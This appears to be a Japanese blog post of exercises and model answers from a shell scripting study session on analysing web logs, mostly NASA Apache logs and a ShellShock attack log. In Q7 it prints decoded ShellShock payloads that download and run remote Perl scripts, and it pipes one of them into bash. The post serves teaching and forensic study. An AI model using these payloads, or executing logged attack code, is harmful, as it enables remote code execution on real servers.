【問題と解答例】第16回春だからログ解析するぞシェル芸勉強会

Sat Apr 18 16:54:34 JST 2015 (modified: Sun Sep 15 09:30:07 JST 2019)
views: 3097, keywords:ログ,apache,CLI,Linux,shellshock,UNIX/Linuxサーバ,USP友の会,勉強会,シェル芸,シェル芸勉強会この記事は最終更新日が5年以上前のものです。

【問題と解答例】第16回春だからログ解析するぞシェル芸勉強会

問題のみのページはコチラ

始める前に

イントロのスライド

20150418 第16回シェル芸勉強会スライド from Ryuichi Ueda

使用するログ

/?page=05649内の、danger_log.gz（ShellShockのログ）とaccess_log.nasa.gz（NASAの公開データ。上田改）です。

環境

今回はLinuxで解答例を作りましたので、BSD系、Macな方は以下の表をご参考に・・・。

Mac,BSD系	Linux
gdate	date
gsed	sed
tail -r	tac
gtr	tr
gfold	fold

準備0

ログをとってきましょう。

$ wget http://file.ueda.tech/DATA_COLLECTION/danger_log.gz
   $ wget http://file.ueda.tech/DATA_COLLECTION/access_log.nasa.gz

準備1

danger_log.gzとaccess_log.nasa.gzについて、日付と時刻を次のように正規化しておきましょう。

###修正前###
   ueda@tencore:~/tmp/nasa$ zcat access_log.nasa.gz | head -n 1
   199.72.81.55 - - [01/Jul/1995:00:00:01 -0400] "GET /history/apollo/ HTTP/1.0" 200 6245
   ###修正後###
   ueda@tencore:~/tmp/nasa$ cat access_log | head -n 1
   19950701 000001 199.72.81.55 - - [01/Jul/1995:00:00:01 -0400] "GET /history/apollo/ HTTP/1.0" 200 6245

解答

ueda@tencore:~/tmp/nasa$ zcat access_log.nasa.gz | awk '{print $4,$0}' |
    sed 's/^\\[//' | awk '{gsub(/[\\/:]/," ",$1);print}' |
    awk '{$2=$2=="Jul"?"07":$2;$2=$2=="Aug"?"08":$2;print}' |
    sed 's;^\\(..\\) \\(..\\) \\(....\\) \\(..\\) \\(..\\) \\(..\\);\\3\\2\\1 \\4\\5\\6;' > access_log
   ueda@tencore:~/tmp/danger$ zcat danger_log.gz | awk '{print $4,$0}' |
    sed 's/^\\[//' | awk '{gsub(/[\\/:]/," ",$1);print}' |
    sed -e 's/Sep/09/' -e 's/Oct/10/' -e 's/Nov/11/' -e 's/Dec/12/' |
    sed 's;^\\(..\\) \\(..\\) \\(....\\) \\(..\\) \\(..\\) \\(..\\);\\3\\2\\1 \\4\\5\\6;' > danger_log

ちゃんと変換できているか確認する方法は、例えば次の通り。

ueda@tencore:~/tmp/nasa$ awk '{print $1}' access_log | uniq | sort -u | less
   ueda@tencore:~/tmp/nasa$ awk '{print $2}' access_log | grep -vE '^[0-9]{6}$'

準備2

NASAのログを各日付のファイルに分けておきましょう。ログはQ1で作ったものを使います。1,2行目の8桁日付、6桁時刻は残っていても構いません。

解答

やり方を知っていれば簡単ですね。

ueda@tencore:~/tmp/nasa$ cat access_log | awk '{print $0 > $1}'

Q1

NASAのログについて、ステータスコードを抽出して、どのコードがいくつあるか数えてみましょう。

解答

NASAのログについては、後ろからフィールドを数える方法を使うことに気づけば簡単です。

ueda@tencore:~/tmp/nasa$ awk '{print $(NF-1)}' access_log |
    LANG=C sort | uniq 
   c-3100522 200
    73070 302
    266773 304
    15 400
    225 403
    20901 404
    65 500
    41 501

Q2

NASAのログについて、ファイルを開かずに、ログの多い日を探しだしてみましょう。

解答

lsを使ってサイズを見たら開かないでも見当がつきます。

ueda@tencore:~/tmp/nasa$ ls -l 1* | sort -k5,5n | tail 
   -rw-rw-r-- 1 ueda ueda 9897387 4月 17 15:12 19950830
   -rw-rw-r-- 1 ueda ueda 9946946 4月 17 15:12 19950711
   -rw-rw-r-- 1 ueda ueda 10478436 4月 17 15:12 19950714
   -rw-rw-r-- 1 ueda ueda 10859858 4月 17 15:12 19950707
   -rw-rw-r-- 1 ueda ueda 11072693 4月 17 15:12 19950831
   -rw-rw-r-- 1 ueda ueda 11242160 4月 17 15:12 19950703
   -rw-rw-r-- 1 ueda ueda 11483007 4月 17 15:12 19950712
   -rw-rw-r-- 1 ueda ueda 11777820 4月 17 15:12 19950705
   -rw-rw-r-- 1 ueda ueda 12583986 4月 17 15:12 19950706
   -rw-rw-r-- 1 ueda ueda 16557952 4月 17 15:12 19950713

Q3

NASAのログについて、（Q3-1）ログの件数が一番多い曜日はどれでしょうか。（Q3-2）ログの件数が一番多い時間帯（時間帯というのは0時台、1時台、・・・、23時台のこと）はどれでしょうか。

Q3-2については高速な方法を考えてみてください。

解答

（Q3-1）次のように木曜日。

ueda@tencore:~/tmp/nasa$ awk '{print $1}' access_log | date -f - "+%w" |
    LANG=C sort | uniq -c | sort -k1,1n
    317276 0
    318046 6
    497456 5
    529960 1
    556590 2
    574547 3
    667737 4

（Q3-2）時間をどう切り出すかが鍵です。

ueda@tencore:~/tmp/nasa$ awk '{print substr($2,1,2)}' access_log |
    sort | uniq -c | sort -k1,1nr | head
    230665 15
    227228 12
    225350 13
    223873 14
    217564 16
    211064 11
    193816 10
    178664 09
    178443 17
    149193 08
   ###データが多いと、sortしない分だけこの方が早い###
   ueda@tencore:~/tmp/nasa$ time awk '{a[substr($2,1,2)]++}END{for(v in a){print v,a[v]}}' access_log |
    sort -k2,2nr | head 
   15 230665
   12 227228
   13 225350
   14 223873
   16 217564
   11 211064
   10 193816
   09 178664
   17 178443
   08 149193
   
   real    0m1.448s
   user    0m1.387s
   sys 0m0.066s
   ###LANG=Cを指定するとさらに速くなる###
   ueda@tencore:~/tmp/nasa$ LANG=C time awk '{a[substr($2,1,2)]++}END{for(v in a){print v,a[v]}}' access_log |
    sort -k2,2nr | head 
   1.24user 0.06system 0:01.30elapsed 99%CPU (0avgtext+0avgdata 1148maxresident)k
   0inputs+0outputs (0major+338minor)pagefaults 0swaps
   15 230665
   12 227228
   13 225350
   14 223873
   16 217564
   11 211064
   10 193816
   09 178664
   17 178443
   08 149193

Q4

ShellShockログ内にあるIPアドレス（IPv4）がすべて192.168.から始まることを確認して下さい。IPアドレスはレコードの先頭だけでなく、インジェクションするコードの中にもあるのでご注意ねがいます。

解答

ueda@remote:~$ zcat danger_log.gz | grep -Eo '([0-9]+\\.){3}[0-9]+' |
    awk -F. '{print $1,$2}' | uniq
   192 168

Q5

ShellShockログについて、レスポンスのデータ送信量が大きいものを、IPアドレスと共に上から10件を挙げてみましょう。

解答

ueda@tencore:~/tmp/danger$ zcat danger_log.gz |
    sed 's/^\\([0-9]\\+\\.[0-9]\\+\\.[0-9]\\+\\.[0-9]\\+\\) .*" [0-9][0-9][0-9] \\([0-9]\\+\\) ".*$/\\1 \\2/' |
    sort -k2,2nr | head
   192.168.0.90 234
   192.168.151.207 234
   192.168.151.207 234
   192.168.151.207 234
   192.168.151.207 234
   192.168.151.207 234
   192.168.151.207 234
   192.168.151.207 234
   192.168.151.207 234
   192.168.193.42 234

Q6

NASAのログについて、7月8月のうち、ゼロ件の日を列挙してみてください。

解答

###ログの存在しない日（解法1: ツーライナーで）###
   ueda@tencore:~/tmp/nasa$ seq -w 01 31 | awk '{print "199507" $1;print "199508" $1}' | sort > days
   ueda@tencore:~/tmp/nasa$ awk '{print $1}' access_log | LANG=C sort -u | cat - days |
    sort | uniq -u
   19950729
   19950730
   19950731
   19950802
   ###Tukubaiでワンライナー###
   ueda@tencore:~/tmp/nasa$ awk '{print $1}' access_log | LANG=C sort -u |
    cat - <(mdate -e 19950701 19950831)| tarr | sort | uniq -u
   19950729
   19950730
   19950731
   19950802
   ###ガチでワンライナー###
   ueda@tencore:~/tmp/nasa$ awk '{print $1}' access_log | LANG=C sort -u |
    cat - <(echo 19950{7,8}{01..31}) | tr ' ' '\\n' | sort | uniq -u
   19950729
   19950730
   19950731
   19950802

Q7

ShellShockのログから、（Q7-1）インジェクションが試みられたコード（「() { :;};」から後ろ）を抽出してみて傾向を話あってみましょう。（Q7-2）出来る人はエスケープも掃除してコードを復元してみましょう。（Q7-3）更にできる人は最後の行のコードを実行してみてください。このログはIPアドレスを変換しているので安全ですが、普通のログでやると死にますのでご注意を。

解答

とりあえずこれで読みやすくなりますね。

###Q7-1 コードを抽出###
   ueda@tencore:~/tmp/danger$ cat danger_log | sed 's/^.*()/()/'
   ###Q7-2 コードの掃除###
   ueda@tencore:~/tmp/danger$ cat danger_log | sed 's/^.*()/()/' |
    sed 's/\\\\"/"/g' | sed 's/\\\\\\\\/\\\\/g' | sed 's/"$//'
   ...
   () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!";system("wget http://192.168.144.163/guide/lx.pl -O /tmp/lx.pl;curl -O /tmp/lx.pl http://192.168.144.163/guide/lx.pl;perl /tmp/lx.pl;rm -rf /tmp/lx.pl*");'
   () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!";system("wget -q http://192.168.63.71/android.txt -O /tmp/android.txt;perl /tmp/android.txt;rm -rf /tmp/android*");'
   ###Q7-3 コードの実行（危ない！）###
   ueda@tencore:~/tmp/danger$ tail -n 1 danger_log | sed 's/^.*()/()/' |
    sed 's/\\\\"/"/g' | sed 's/\\\\\\\\/\\\\/g' | sed 's/"$//' |
    sed 's/.........//' | bash -vx
   /usr/bin/perl -e 'print "Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!";system("wget -q http://192.168.63.71/android.txt -O /tmp/android.txt;perl /tmp/android.txt;rm -rf /tmp/android*");'
   + /usr/bin/perl -e 'print "Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!";system("wget -q http://192.168.63.71/android.txt -O /tmp/android.txt;perl /tmp/android.txt;rm -rf /tmp/android*");'
   Content-Type: text/plain
   
   XSUCCESS!
   （wgetが失敗するのでCtrl+cで出る。）

prev:【問題のみ】第16回春だからログ解析するぞシェル芸勉強会 next:日記（勉強会の次の日が大変だという中年の主張）

上田ブログ

書いた本（たぶんためになる）

【問題と解答例】第16回春だからログ解析するぞシェル芸勉強会

始める前に

イントロのスライド

使用するログ

環境

準備0

準備1

解答

準備2

解答

Q1

解答

Q2

解答

Q3

解答

Q4

解答

Q5

解答

Q6

解答

Q7

解答

やり散らかし一覧

記事いろいろ